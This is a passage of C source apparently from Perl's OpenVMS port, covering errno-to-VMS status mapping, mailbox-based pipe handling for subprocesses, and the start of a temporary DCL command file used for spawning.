return vaxc$errno;
/* Is vaxc$errno sane? */
/*---------------------*/
test_unix_status = Perl_vms_status_to_unix(vaxc$errno, 0);
if (test_unix_status == unix_status)
return vaxc$errno;
/* If way out of range, must be VMS code already */
/*-----------------------------------------------*/
if (unix_status > EVMSERR)
return unix_status;
/* If out of range, punt */
/*-----------------------*/
if (unix_status > __ERRNO_MAX)
return SS$_ABORT;
/* Ok, now we have to do it the hard way. */
/*----------------------------------------*/
switch(unix_status) {
case 0: return SS$_NORMAL;
case EPERM: return SS$_NOPRIV;
case ENOENT: return SS$_NOSUCHOBJECT;
case ESRCH: return SS$_UNREACHABLE;
case EINTR: return SS$_ABORT;
/* case EIO: */
/* case ENXIO: */
case E2BIG: return SS$_BUFFEROVF;
/* case ENOEXEC */
case EBADF: return RMS$_IFI;
case ECHILD: return SS$_NONEXPR;
/* case EAGAIN */
case ENOMEM: return SS$_INSFMEM;
case EACCES: return SS$_FILACCERR;
case EFAULT: return SS$_ACCVIO;
/* case ENOTBLK */
case EBUSY: return SS$_DEVOFFLINE;
case EEXIST: return RMS$_FEX;
/* case EXDEV */
case ENODEV: return SS$_NOSUCHDEV;
case ENOTDIR: return RMS$_DIR;
/* case EISDIR */
case EINVAL: return SS$_INVARG;
/* case ENFILE */
/* case EMFILE */
/* case ENOTTY */
/* case ETXTBSY */
/* case EFBIG */
case ENOSPC: return SS$_DEVICEFULL;
case ESPIPE: return LIB$_INVARG;
/* case EROFS: */
/* case EMLINK: */
/* case EPIPE: */
/* case EDOM */
case ERANGE: return LIB$_INVARG;
/* case EWOULDBLOCK */
/* case EINPROGRESS */
/* case EALREADY */
/* case ENOTSOCK */
/* case EDESTADDRREQ */
/* case EMSGSIZE */
/* case EPROTOTYPE */
/* case ENOPROTOOPT */
/* case EPROTONOSUPPORT */
/* case ESOCKTNOSUPPORT */
/* case EOPNOTSUPP */
/* case EPFNOSUPPORT */
/* case EAFNOSUPPORT */
/* case EADDRINUSE */
/* case EADDRNOTAVAIL */
/* case ENETDOWN */
/* case ENETUNREACH */
/* case ENETRESET */
/* case ECONNABORTED */
/* case ECONNRESET */
/* case ENOBUFS */
/* case EISCONN */
case ENOTCONN: return SS$_CLEARED;
/* case ESHUTDOWN */
/* case ETOOMANYREFS */
/* case ETIMEDOUT */
/* case ECONNREFUSED */
/* case ELOOP */
/* case ENAMETOOLONG */
/* case EHOSTDOWN */
/* case EHOSTUNREACH */
/* case ENOTEMPTY */
/* case EPROCLIM */
/* case EUSERS */
/* case EDQUOT */
/* case ENOMSG */
/* case EIDRM */
/* case EALIGN */
/* case ESTALE */
/* case EREMOTE */
/* case ENOLCK */
/* case ENOSYS */
/* case EFTYPE */
/* case ECANCELED */
/* case EFAIL */
/* case EINPROG */
case ENOTSUP:
return SS$_UNSUPPORTED;
/* case EDEADLK */
/* case ENWAIT */
/* case EILSEQ */
/* case EBADCAT */
/* case EBADMSG */
/* case EABANDONED */
default:
return SS$_ABORT; /* punt */
}
}
/* default piping mailbox size */
#define PERL_BUFSIZ 8192
static void
create_mbx(unsigned short int *chan, struct dsc$descriptor_s *namdsc)
{
unsigned long int mbxbufsiz;
static unsigned long int syssize = 0;
unsigned long int dviitm = DVI$_DEVNAM;
char csize[LNM$C_NAMLENGTH+1];
int sts;
if (!syssize) {
unsigned long syiitm = SYI$_MAXBUF;
/*
* Get the SYSGEN parameter MAXBUF
*
* If the logical 'PERL_MBX_SIZE' is defined
* use the value of the logical instead of PERL_BUFSIZ, but
* keep the size between 128 and MAXBUF.
*
*/
_ckvmssts_noperl(lib$getsyi(&syiitm, &syssize, 0, 0, 0, 0));
}
if (vmstrnenv("PERL_MBX_SIZE", csize, 0, fildev, 0)) {
mbxbufsiz = atoi(csize);
} else {
mbxbufsiz = PERL_BUFSIZ;
}
if (mbxbufsiz < 128) mbxbufsiz = 128;
if (mbxbufsiz > syssize) mbxbufsiz = syssize;
_ckvmssts_noperl(sts = sys$crembx(0,chan,mbxbufsiz,mbxbufsiz,0,0,0));
sts = lib$getdvi(&dviitm, chan, NULL, NULL, namdsc, &namdsc->dsc$w_length);
_ckvmssts_noperl(sts);
namdsc->dsc$a_pointer[namdsc->dsc$w_length] = '\0';
} /* end of create_mbx() */
/*{{{ my_popen and my_pclose*/
typedef struct _iosb IOSB;
typedef struct _iosb* pIOSB;
typedef struct _pipe Pipe;
typedef struct _pipe* pPipe;
typedef struct pipe_details Info;
typedef struct pipe_details* pInfo;
typedef struct _srqp RQE;
typedef struct _srqp* pRQE;
typedef struct _tochildbuf CBuf;
typedef struct _tochildbuf* pCBuf;
struct _iosb {
unsigned short status;
unsigned short count;
unsigned long dvispec;
};
#pragma member_alignment save
#pragma nomember_alignment quadword
struct _srqp { /* VMS self-relative queue entry */
unsigned long qptr[2];
};
#pragma member_alignment restore
static RQE RQE_ZERO = {0,0};
struct _tochildbuf {
RQE q;
int eof;
unsigned short size;
char *buf;
};
struct _pipe {
RQE free;
RQE wait;
int fd_out;
unsigned short chan_in;
unsigned short chan_out;
char *buf;
unsigned int bufsize;
IOSB iosb;
IOSB iosb2;
int *pipe_done;
int retry;
int type;
int shut_on_empty;
int need_wake;
pPipe *home;
pInfo info;
pCBuf curr;
pCBuf curr2;
#if defined(PERL_IMPLICIT_CONTEXT)
void *thx; /* Either a thread or an interpreter */
/* pointer, depending on how we're built */
#endif
};
struct pipe_details
{
pInfo next;
PerlIO *fp; /* file pointer to pipe mailbox */
int useFILE; /* using stdio, not perlio */
int pid; /* PID of subprocess */
int mode; /* == 'r' if pipe open for reading */
int done; /* subprocess has completed */
int waiting; /* waiting for completion/closure */
int closing; /* my_pclose is closing this pipe */
unsigned long completion; /* termination status of subprocess */
pPipe in; /* pipe in to sub */
pPipe out; /* pipe out of sub */
pPipe err; /* pipe of sub's sys$error */
int in_done; /* true when in pipe finished */
int out_done;
int err_done;
unsigned short xchan; /* channel to debug xterm */
unsigned short xchan_valid; /* channel is assigned */
};
struct exit_control_block
{
struct exit_control_block *flink;
unsigned long int (*exit_routine)(void);
unsigned long int arg_count;
unsigned long int *status_address;
unsigned long int exit_status;
};
typedef struct _closed_pipes Xpipe;
typedef struct _closed_pipes* pXpipe;
struct _closed_pipes {
int pid; /* PID of subprocess */
unsigned long completion; /* termination status of subprocess */
};
#define NKEEPCLOSED 50
static Xpipe closed_list[NKEEPCLOSED];
static int closed_index = 0;
static int closed_num = 0;
#define RETRY_DELAY "0 ::0.20"
#define MAX_RETRY 50
static int pipe_ef = 0; /* first call to safe_popen inits these*/
static unsigned long mypid;
static unsigned long delaytime[2];
static pInfo open_pipes = NULL;
static $DESCRIPTOR(nl_desc, "NL:");
#define PIPE_COMPLETION_WAIT 30 /* seconds, for EOF/FORCEX wait */
static unsigned long int
pipe_exit_routine(void)
{
pInfo info;
unsigned long int retsts = SS$_NORMAL, abort = SS$_TIMEOUT;
int sts, did_stuff, j;
/*
* Flush any pending i/o, but since we are in process run-down, be
* careful about referencing PerlIO structures that may already have
* been deallocated. We may not even have an interpreter anymore.
*/
info = open_pipes;
while (info) {
if (info->fp) {
#if defined(PERL_IMPLICIT_CONTEXT)
/* We need to use the Perl context of the thread that created */
/* the pipe. */
pTHX;
if (info->err)
aTHX = info->err->thx;
else if (info->out)
aTHX = info->out->thx;
else if (info->in)
aTHX = info->in->thx;
#endif
if (!info->useFILE
#if defined(USE_ITHREADS)
&& my_perl
#endif
#ifdef USE_PERLIO
&& PL_perlio_fd_refcnt
#endif
)
PerlIO_flush(info->fp);
else
fflush((FILE *)info->fp);
}
info = info->next;
}
/*
next we try sending an EOF...ignore if doesn't work, make sure we
don't hang
*/
did_stuff = 0;
info = open_pipes;
while (info) {
_ckvmssts_noperl(sys$setast(0));
if (info->in && !info->in->shut_on_empty) {
_ckvmssts_noperl(sys$qio(0,info->in->chan_in,IO$_WRITEOF,0,0,0,
0, 0, 0, 0, 0, 0));
info->waiting = 1;
did_stuff = 1;
}
_ckvmssts_noperl(sys$setast(1));
info = info->next;
}
/* wait for EOF to have effect, up to ~ 30 sec [default] */
for (j = 0; did_stuff && j < PIPE_COMPLETION_WAIT; j++) {
int nwait = 0;
info = open_pipes;
while (info) {
_ckvmssts_noperl(sys$setast(0));
if (info->waiting && info->done)
info->waiting = 0;
nwait += info->waiting;
_ckvmssts_noperl(sys$setast(1));
info = info->next;
}
if (!nwait) break;
sleep(1);
}
did_stuff = 0;
info = open_pipes;
while (info) {
_ckvmssts_noperl(sys$setast(0));
if (!info->done) { /* Tap them gently on the shoulder . . .*/
sts = sys$forcex(&info->pid,0,&abort);
if (!(sts&1) && sts != SS$_NONEXPR) _ckvmssts_noperl(sts);
did_stuff = 1;
}
_ckvmssts_noperl(sys$setast(1));
info = info->next;
}
/* again, wait for effect */
for (j = 0; did_stuff && j < PIPE_COMPLETION_WAIT; j++) {
int nwait = 0;
info = open_pipes;
while (info) {
_ckvmssts_noperl(sys$setast(0));
if (info->waiting && info->done)
info->waiting = 0;
nwait += info->waiting;
_ckvmssts_noperl(sys$setast(1));
info = info->next;
}
if (!nwait) break;
sleep(1);
}
info = open_pipes;
while (info) {
_ckvmssts_noperl(sys$setast(0));
if (!info->done) { /* We tried to be nice . . . */
sts = sys$delprc(&info->pid,0);
if (!(sts&1) && sts != SS$_NONEXPR) _ckvmssts_noperl(sts);
info->done = 1; /* sys$delprc is as done as we're going to get. */
}
_ckvmssts_noperl(sys$setast(1));
info = info->next;
}
while(open_pipes) {
#if defined(PERL_IMPLICIT_CONTEXT)
/* We need to use the Perl context of the thread that created */
/* the pipe. */
pTHX;
if (open_pipes->err)
aTHX = open_pipes->err->thx;
else if (open_pipes->out)
aTHX = open_pipes->out->thx;
else if (open_pipes->in)
aTHX = open_pipes->in->thx;
#endif
if ((sts = my_pclose(open_pipes->fp)) == -1) retsts = vaxc$errno;
else if (!(sts & 1)) retsts = sts;
}
return retsts;
}
static struct exit_control_block pipe_exitblock =
{(struct exit_control_block *) 0,
pipe_exit_routine, 0, &pipe_exitblock.exit_status, 0};
static void pipe_mbxtofd_ast(pPipe p);
static void pipe_tochild1_ast(pPipe p);
static void pipe_tochild2_ast(pPipe p);
static void
popen_completion_ast(pInfo info)
{
pInfo i = open_pipes;
int iss;
info->completion &= 0x0FFFFFFF; /* strip off "control" field */
closed_list[closed_index].pid = info->pid;
closed_list[closed_index].completion = info->completion;
closed_index++;
if (closed_index == NKEEPCLOSED)
closed_index = 0;
closed_num++;
while (i) {
if (i == info) break;
i = i->next;
}
if (!i) return; /* unlinked, probably freed too */
info->done = TRUE;
/*
Writing to subprocess ...
if my_pclose'd: EOF already sent, should shutdown chan_in part of pipe
chan_out may be waiting for "done" flag, or hung waiting
for i/o completion to child...cancel the i/o. This will
put it into "snarf mode" (done but no EOF yet) that discards
input.
Output from subprocess (stdout, stderr) needs to be flushed and
shut down. We try sending an EOF, but if the mbx is full the pipe
routine should still catch the "shut_on_empty" flag, telling it to
use immediate-style reads so that "mbx empty" -> EOF.
*/
if (info->in && !info->in_done) { /* only for mode=w */
if (info->in->shut_on_empty && info->in->need_wake) {
info->in->need_wake = FALSE;
_ckvmssts_noperl(sys$dclast(pipe_tochild2_ast,info->in,0));
} else {
_ckvmssts_noperl(sys$cancel(info->in->chan_out));
}
}
if (info->out && !info->out_done) { /* were we also piping output? */
info->out->shut_on_empty = TRUE;
iss = sys$qio(0,info->out->chan_in,IO$_WRITEOF|IO$M_NORSWAIT, 0, 0, 0, 0, 0, 0, 0, 0, 0);
if (iss == SS$_MBFULL) iss = SS$_NORMAL;
_ckvmssts_noperl(iss);
}
if (info->err && !info->err_done) { /* we were piping stderr */
info->err->shut_on_empty = TRUE;
iss = sys$qio(0,info->err->chan_in,IO$_WRITEOF|IO$M_NORSWAIT, 0, 0, 0, 0, 0, 0, 0, 0, 0);
if (iss == SS$_MBFULL) iss = SS$_NORMAL;
_ckvmssts_noperl(iss);
}
_ckvmssts_noperl(sys$setef(pipe_ef));
}
static unsigned long int setup_cmddsc(pTHX_ const char *cmd, int check_img, int *suggest_quote, struct dsc$descriptor_s **pvmscmd);
static void vms_execfree(struct dsc$descriptor_s *vmscmd);
static void pipe_infromchild_ast(pPipe p);
/*
I'm using LIB$(GET|FREE)_VM here so that we can allocate and deallocate
inside an AST routine without worrying about reentrancy and which Perl
memory allocator is being used.
We read data and queue up the buffers, then spit them out one at a
time to the output mailbox when the output mailbox is ready for one.
*/
#define INITIAL_TOCHILDQUEUE 2
static pPipe
pipe_tochild_setup(pTHX_ char *rmbx, char *wmbx)
{
pPipe p;
pCBuf b;
char mbx1[64], mbx2[64];
struct dsc$descriptor_s d_mbx1 = {sizeof mbx1, DSC$K_DTYPE_T,
DSC$K_CLASS_S, mbx1},
d_mbx2 = {sizeof mbx2, DSC$K_DTYPE_T,
DSC$K_CLASS_S, mbx2};
unsigned int dviitm = DVI$_DEVBUFSIZ;
int j, n;
n = sizeof(Pipe);
_ckvmssts_noperl(lib$get_vm(&n, &p));
create_mbx(&p->chan_in , &d_mbx1);
create_mbx(&p->chan_out, &d_mbx2);
_ckvmssts_noperl(lib$getdvi(&dviitm, &p->chan_in, 0, &p->bufsize));
p->buf = 0;
p->shut_on_empty = FALSE;
p->need_wake = FALSE;
p->type = 0;
p->retry = 0;
p->iosb.status = SS$_NORMAL;
p->iosb2.status = SS$_NORMAL;
p->free = RQE_ZERO;
p->wait = RQE_ZERO;
p->curr = 0;
p->curr2 = 0;
p->info = 0;
#ifdef PERL_IMPLICIT_CONTEXT
p->thx = aTHX;
#endif
n = sizeof(CBuf) + p->bufsize;
for (j = 0; j < INITIAL_TOCHILDQUEUE; j++) {
_ckvmssts_noperl(lib$get_vm(&n, &b));
b->buf = (char *) b + sizeof(CBuf);
_ckvmssts_noperl(lib$insqhi(b, &p->free));
}
pipe_tochild2_ast(p);
pipe_tochild1_ast(p);
strcpy(wmbx, mbx1);
strcpy(rmbx, mbx2);
return p;
}
/* reads the MBX Perl is writing, and queues */
static void
pipe_tochild1_ast(pPipe p)
{
pCBuf b = p->curr;
int iss = p->iosb.status;
int eof = (iss == SS$_ENDOFFILE);
int sts;
#ifdef PERL_IMPLICIT_CONTEXT
pTHX = p->thx;
#endif
if (p->retry) {
if (eof) {
p->shut_on_empty = TRUE;
b->eof = TRUE;
_ckvmssts_noperl(sys$dassgn(p->chan_in));
} else {
_ckvmssts_noperl(iss);
}
b->eof = eof;
b->size = p->iosb.count;
_ckvmssts_noperl(sts = lib$insqhi(b, &p->wait));
if (p->need_wake) {
p->need_wake = FALSE;
_ckvmssts_noperl(sys$dclast(pipe_tochild2_ast,p,0));
}
} else {
p->retry = 1; /* initial call */
}
if (eof) { /* flush the free queue, return when done */
int n = sizeof(CBuf) + p->bufsize;
while (1) {
iss = lib$remqti(&p->free, &b);
if (iss == LIB$_QUEWASEMP) return;
_ckvmssts_noperl(iss);
_ckvmssts_noperl(lib$free_vm(&n, &b));
}
}
iss = lib$remqti(&p->free, &b);
if (iss == LIB$_QUEWASEMP) {
int n = sizeof(CBuf) + p->bufsize;
_ckvmssts_noperl(lib$get_vm(&n, &b));
b->buf = (char *) b + sizeof(CBuf);
} else {
_ckvmssts_noperl(iss);
}
p->curr = b;
iss = sys$qio(0,p->chan_in,
IO$_READVBLK|(p->shut_on_empty ? IO$M_NOWAIT : 0),
&p->iosb,
pipe_tochild1_ast, p, b->buf, p->bufsize, 0, 0, 0, 0);
if (iss == SS$_ENDOFFILE && p->shut_on_empty) iss = SS$_NORMAL;
_ckvmssts_noperl(iss);
}
/* writes queued buffers to output, waits for each to complete before
doing the next */
static void
pipe_tochild2_ast(pPipe p)
{
pCBuf b = p->curr2;
int iss = p->iosb2.status;
int n = sizeof(CBuf) + p->bufsize;
int done = (p->info && p->info->done) ||
iss == SS$_CANCEL || iss == SS$_ABORT;
#if defined(PERL_IMPLICIT_CONTEXT)
pTHX = p->thx;
#endif
do {
if (p->type) { /* type=1 has old buffer, dispose */
if (p->shut_on_empty) {
_ckvmssts_noperl(lib$free_vm(&n, &b));
} else {
_ckvmssts_noperl(lib$insqhi(b, &p->free));
}
p->type = 0;
}
iss = lib$remqti(&p->wait, &b);
if (iss == LIB$_QUEWASEMP) {
if (p->shut_on_empty) {
if (done) {
_ckvmssts_noperl(sys$dassgn(p->chan_out));
*p->pipe_done = TRUE;
_ckvmssts_noperl(sys$setef(pipe_ef));
} else {
_ckvmssts_noperl(sys$qio(0,p->chan_out,IO$_WRITEOF,
&p->iosb2, pipe_tochild2_ast, p, 0, 0, 0, 0, 0, 0));
}
return;
}
p->need_wake = TRUE;
return;
}
_ckvmssts_noperl(iss);
p->type = 1;
} while (done);
p->curr2 = b;
if (b->eof) {
_ckvmssts_noperl(sys$qio(0,p->chan_out,IO$_WRITEOF,
&p->iosb2, pipe_tochild2_ast, p, 0, 0, 0, 0, 0, 0));
} else {
_ckvmssts_noperl(sys$qio(0,p->chan_out,IO$_WRITEVBLK,
&p->iosb2, pipe_tochild2_ast, p, b->buf, b->size, 0, 0, 0, 0));
}
return;
}
static pPipe
pipe_infromchild_setup(pTHX_ char *rmbx, char *wmbx)
{
pPipe p;
char mbx1[64], mbx2[64];
struct dsc$descriptor_s d_mbx1 = {sizeof mbx1, DSC$K_DTYPE_T,
DSC$K_CLASS_S, mbx1},
d_mbx2 = {sizeof mbx2, DSC$K_DTYPE_T,
DSC$K_CLASS_S, mbx2};
unsigned int dviitm = DVI$_DEVBUFSIZ;
int n = sizeof(Pipe);
_ckvmssts_noperl(lib$get_vm(&n, &p));
create_mbx(&p->chan_in , &d_mbx1);
create_mbx(&p->chan_out, &d_mbx2);
_ckvmssts_noperl(lib$getdvi(&dviitm, &p->chan_in, 0, &p->bufsize));
n = p->bufsize * sizeof(char);
_ckvmssts_noperl(lib$get_vm(&n, &p->buf));
p->shut_on_empty = FALSE;
p->info = 0;
p->type = 0;
p->iosb.status = SS$_NORMAL;
#if defined(PERL_IMPLICIT_CONTEXT)
p->thx = aTHX;
#endif
pipe_infromchild_ast(p);
strcpy(wmbx, mbx1);
strcpy(rmbx, mbx2);
return p;
}
static void
pipe_infromchild_ast(pPipe p)
{
int iss = p->iosb.status;
int eof = (iss == SS$_ENDOFFILE);
int myeof = (eof && (p->iosb.dvispec == mypid || p->iosb.dvispec == 0));
int kideof = (eof && (p->iosb.dvispec == p->info->pid));
#if defined(PERL_IMPLICIT_CONTEXT)
pTHX = p->thx;
#endif
if (p->info && p->info->closing && p->chan_out) { /* output shutdown */
_ckvmssts_noperl(sys$dassgn(p->chan_out));
p->chan_out = 0;
}
/* read completed:
input shutdown if EOF from self (done or shut_on_empty)
output shutdown if closing flag set (my_pclose)
send data/eof from child or eof from self
otherwise, re-read (snarf of data from child)
*/
if (p->type == 1) {
p->type = 0;
if (myeof && p->chan_in) { /* input shutdown */
_ckvmssts_noperl(sys$dassgn(p->chan_in));
p->chan_in = 0;
}
if (p->chan_out) {
if (myeof || kideof) { /* pass EOF to parent */
_ckvmssts_noperl(sys$qio(0,p->chan_out,IO$_WRITEOF, &p->iosb,
pipe_infromchild_ast, p,
0, 0, 0, 0, 0, 0));
return;
} else if (eof) { /* eat EOF --- fall through to read*/
} else { /* transmit data */
_ckvmssts_noperl(sys$qio(0,p->chan_out,IO$_WRITEVBLK,&p->iosb,
pipe_infromchild_ast,p,
p->buf, p->iosb.count, 0, 0, 0, 0));
return;
}
}
}
/* everything shut? flag as done */
if (!p->chan_in && !p->chan_out) {
*p->pipe_done = TRUE;
_ckvmssts_noperl(sys$setef(pipe_ef));
return;
}
/* write completed (or read, if snarfing from child)
if still have input active,
queue read...immediate mode if shut_on_empty so we get EOF if empty
otherwise,
check if Perl reading, generate EOFs as needed
*/
if (p->type == 0) {
p->type = 1;
if (p->chan_in) {
iss = sys$qio(0,p->chan_in,IO$_READVBLK|(p->shut_on_empty ? IO$M_NOW : 0),&p->iosb,
pipe_infromchild_ast,p,
p->buf, p->bufsize, 0, 0, 0, 0);
if (p->shut_on_empty && iss == SS$_ENDOFFILE) iss = SS$_NORMAL;
_ckvmssts_noperl(iss);
} else { /* send EOFs for extra reads */
p->iosb.status = SS$_ENDOFFILE;
p->iosb.dvispec = 0;
_ckvmssts_noperl(sys$qio(0,p->chan_out,IO$_SETMODE|IO$M_READATTN,
0, 0, 0,
pipe_infromchild_ast, p, 0, 0, 0, 0));
}
}
}
static pPipe
pipe_mbxtofd_setup(pTHX_ int fd, char *out)
{
pPipe p;
char mbx[64];
unsigned long dviitm = DVI$_DEVBUFSIZ;
struct stat s;
struct dsc$descriptor_s d_mbx = {sizeof mbx, DSC$K_DTYPE_T,
DSC$K_CLASS_S, mbx};
int n = sizeof(Pipe);
/* things like terminals and mbx's don't need this filter */
if (fd && fstat(fd,&s) == 0) {
unsigned long devchar;
char device[65];
unsigned short dev_len;
struct dsc$descriptor_s d_dev;
char * cptr;
struct item_list_3 items[3];
int status;
unsigned short dvi_iosb[4];
cptr = getname(fd, out, 1);
if (cptr == NULL) _ckvmssts_noperl(SS$_NOSUCHDEV);
d_dev.dsc$a_pointer = out;
d_dev.dsc$w_length = strlen(out);
d_dev.dsc$b_dtype = DSC$K_DTYPE_T;
d_dev.dsc$b_class = DSC$K_CLASS_S;
items[0].len = 4;
items[0].code = DVI$_DEVCHAR;
items[0].bufadr = &devchar;
items[0].retadr = NULL;
items[1].len = 64;
items[1].code = DVI$_FULLDEVNAM;
items[1].bufadr = device;
items[1].retadr = &dev_len;
items[2].len = 0;
items[2].code = 0;
status = sys$getdviw
(NO_EFN, 0, &d_dev, items, dvi_iosb, NULL, NULL, NULL);
_ckvmssts_noperl(status);
if ($VMS_STATUS_SUCCESS(dvi_iosb[0])) {
device[dev_len] = 0;
if (!(devchar & DEV$M_DIR)) {
strcpy(out, device);
return 0;
}
}
}
_ckvmssts_noperl(lib$get_vm(&n, &p));
p->fd_out = dup(fd);
create_mbx(&p->chan_in, &d_mbx);
_ckvmssts_noperl(lib$getdvi(&dviitm, &p->chan_in, 0, &p->bufsize));
n = (p->bufsize+1) * sizeof(char);
_ckvmssts_noperl(lib$get_vm(&n, &p->buf));
p->shut_on_empty = FALSE;
p->retry = 0;
p->info = 0;
strcpy(out, mbx);
_ckvmssts_noperl(sys$qio(0, p->chan_in, IO$_READVBLK, &p->iosb,
pipe_mbxtofd_ast, p,
p->buf, p->bufsize, 0, 0, 0, 0));
return p;
}
static void
pipe_mbxtofd_ast(pPipe p)
{
int iss = p->iosb.status;
int done = p->info->done;
int iss2;
int eof = (iss == SS$_ENDOFFILE);
int myeof = eof && ((p->iosb.dvispec == mypid)||(p->iosb.dvispec == 0));
int err = !(iss&1) && !eof;
#if defined(PERL_IMPLICIT_CONTEXT)
pTHX = p->thx;
#endif
if (done && myeof) { /* end piping */
close(p->fd_out);
sys$dassgn(p->chan_in);
*p->pipe_done = TRUE;
_ckvmssts_noperl(sys$setef(pipe_ef));
return;
}
if (!err && !eof) { /* good data to send to file */
p->buf[p->iosb.count] = '\n';
iss2 = write(p->fd_out, p->buf, p->iosb.count+1);
if (iss2 < 0) {
p->retry++;
if (p->retry < MAX_RETRY) {
_ckvmssts_noperl(sys$setimr(0,delaytime,pipe_mbxtofd_ast,p));
return;
}
}
p->retry = 0;
} else if (err) {
_ckvmssts_noperl(iss);
}
iss = sys$qio(0, p->chan_in, IO$_READVBLK|(p->shut_on_empty ? IO$M_NOW : 0), &p->iosb,
pipe_mbxtofd_ast, p,
p->buf, p->bufsize, 0, 0, 0, 0);
if (p->shut_on_empty && (iss == SS$_ENDOFFILE)) iss = SS$_NORMAL;
_ckvmssts_noperl(iss);
}
typedef struct _pipeloc PLOC;
typedef struct _pipeloc* pPLOC;
struct _pipeloc {
pPLOC next;
char dir[NAM$C_MAXRSS+1];
};
static pPLOC head_PLOC = 0;
void
free_pipelocs(pTHX_ void *head)
{
pPLOC p, pnext;
pPLOC *pHead = (pPLOC *)head;
p = *pHead;
while (p) {
pnext = p->next;
PerlMem_free(p);
p = pnext;
}
*pHead = 0;
}
static void
store_pipelocs(pTHX)
{
int i;
pPLOC p;
AV *av = 0;
SV *dirsv;
char *dir, *x;
char *unixdir;
char temp[NAM$C_MAXRSS+1];
STRLEN n_a;
if (head_PLOC)
free_pipelocs(aTHX_ &head_PLOC);
/* the . directory from @INC comes last */
p = (pPLOC) PerlMem_malloc(sizeof(PLOC));
if (p == NULL) _ckvmssts_noperl(SS$_INSFMEM);
p->next = head_PLOC;
head_PLOC = p;
strcpy(p->dir,"./");
/* get the directory from $^X */
unixdir = (char *)PerlMem_malloc(VMS_MAXRSS);
if (unixdir == NULL) _ckvmssts_noperl(SS$_INSFMEM);
#ifdef PERL_IMPLICIT_CONTEXT
if (aTHX && PL_origargv && PL_origargv[0]) { /* maybe nul if embedded Perl */
#else
if (PL_origargv && PL_origargv[0]) { /* maybe nul if embedded Perl */
#endif
my_strlcpy(temp, PL_origargv[0], sizeof(temp));
x = strrchr(temp,']');
if (x == NULL) {
x = strrchr(temp,'>');
if (x == NULL) {
/* It could be a UNIX path */
x = strrchr(temp,'/');
}
}
if (x)
x[1] = '\0';
else {
/* Got a bare name, so use default directory */
temp[0] = '.';
temp[1] = '\0';
}
if ((tounixpath_utf8(temp, unixdir, NULL)) != NULL) {
p = (pPLOC) PerlMem_malloc(sizeof(PLOC));
if (p == NULL) _ckvmssts_noperl(SS$_INSFMEM);
p->next = head_PLOC;
head_PLOC = p;
my_strlcpy(p->dir, unixdir, sizeof(p->dir));
}
}
/* reverse order of @INC entries, skip "." since entered above */
#ifdef PERL_IMPLICIT_CONTEXT
if (aTHX)
#endif
if (PL_incgv) av = GvAVn(PL_incgv);
for (i = 0; av && i <= AvFILL(av); i++) {
dirsv = *av_fetch(av,i,TRUE);
if (SvROK(dirsv)) continue;
dir = SvPVx(dirsv,n_a);
if (strEQ(dir,".")) continue;
if ((tounixpath_utf8(dir, unixdir, NULL)) == NULL)
continue;
p = (pPLOC) PerlMem_malloc(sizeof(PLOC));
p->next = head_PLOC;
head_PLOC = p;
my_strlcpy(p->dir, unixdir, sizeof(p->dir));
}
/* most likely spot (ARCHLIB) put first in the list */
#ifdef ARCHLIB_EXP
if ((tounixpath_utf8(ARCHLIB_EXP, unixdir, NULL)) != NULL) {
p = (pPLOC) PerlMem_malloc(sizeof(PLOC));
if (p == NULL) _ckvmssts_noperl(SS$_INSFMEM);
p->next = head_PLOC;
head_PLOC = p;
my_strlcpy(p->dir, unixdir, sizeof(p->dir));
}
#endif
PerlMem_free(unixdir);
}
static I32 Perl_cando_by_name_int(pTHX_ I32 bit, bool effective,
const char *fname, int opts);
#if !defined(PERL_IMPLICIT_CONTEXT)
#define cando_by_name_int Perl_cando_by_name_int
#else
#define cando_by_name_int(a,b,c,d) Perl_cando_by_name_int(aTHX_ a,b,c,d)
#endif
static char *
find_vmspipe(pTHX)
{
static int vmspipe_file_status = 0;
static char vmspipe_file[NAM$C_MAXRSS+1];
/* already found? Check and use ... need read+execute permission */
if (vmspipe_file_status == 1) {
if (cando_by_name_int(S_IRUSR, 0, vmspipe_file, PERL_RMSEXPAND_M_VMS_IN)
&& cando_by_name_int
(S_IXUSR, 0, vmspipe_file, PERL_RMSEXPAND_M_VMS_IN)) {
return vmspipe_file;
}
vmspipe_file_status = 0;
}
/* scan through stored @INC, $^X */
if (vmspipe_file_status == 0) {
char file[NAM$C_MAXRSS+1];
pPLOC p = head_PLOC;
while (p) {
char * exp_res;
int dirlen;
dirlen = my_strlcpy(file, p->dir, sizeof(file));
my_strlcat(file, "vmspipe.com", sizeof(file));
p = p->next;
exp_res = int_rmsexpand_tovms(file, vmspipe_file, 0);
if (!exp_res) continue;
if (cando_by_name_int
(S_IRUSR, 0, vmspipe_file, PERL_RMSEXPAND_M_VMS_IN)
&& cando_by_name_int
(S_IXUSR, 0, vmspipe_file, PERL_RMSEXPAND_M_VMS_IN)) {
vmspipe_file_status = 1;
return vmspipe_file;
}
}
vmspipe_file_status = -1; /* failed, use tempfiles */
}
return 0;
}
static FILE *
vmspipe_tempfile(pTHX)
{
char file[NAM$C_MAXRSS+1];
FILE *fp;
static int index = 0;
Stat_t s0, s1;
int cmp_result;
/* create a tempfile */
/* we can't go from W, shr=get to R, shr=get without
an intermediate vulnerable state, so don't bother trying...
and lib$spawn doesn't shr=put, so have to close the write
So... match up the creation date/time and the FID to
make sure we're dealing with the same file
*/
index++;
if (!DECC_FILENAME_UNIX_ONLY) {
sprintf(file,"sys$scratch:perlpipe_%08.8x_%d.com",mypid,index);
fp = fopen(file,"w");
if (!fp) {
sprintf(file,"sys$login:perlpipe_%08.8x_%d.com",mypid,index);
fp = fopen(file,"w");
if (!fp) {
sprintf(file,"sys$disk:[]perlpipe_%08.8x_%d.com",mypid,index);
fp = fopen(file,"w");
}
}
}
else {
sprintf(file,"/tmp/perlpipe_%08.8x_%d.com",mypid,index);
fp = fopen(file,"w");
if (!fp) {
sprintf(file,"/sys$login/perlpipe_%08.8x_%d.com",mypid,index);
fp = fopen(file,"w");
if (!fp) {
sprintf(file,"./perlpipe_%08.8x_%d.com",mypid,index);
fp = fopen(file,"w");
}
}
}
if (!fp) return 0; /* we're hosed */
fprintf(fp,"$! 'f$verify(0)'\n");
fprintf(fp,"$! --- protect against nonstandard definitions ---\n");
fprintf(fp,"$ perl_cfile = f$environment(\"procedure\")\n");
fprintf(fp,"$ perl_define = \"define/nolog\"\n");
fprintf(fp,"$ perl_on = \"set noon\"\n");
fprintf(fp,"$ perl_exit = \"exit\"\n");
fprintf(fp,"$ perl_del = \"delete\"\n");
fprintf(fp,"$ pif = \"if\"\n");
fprintf(fp,"$! --- define i/o redirection (sys$output set by lib$spawn)\n");
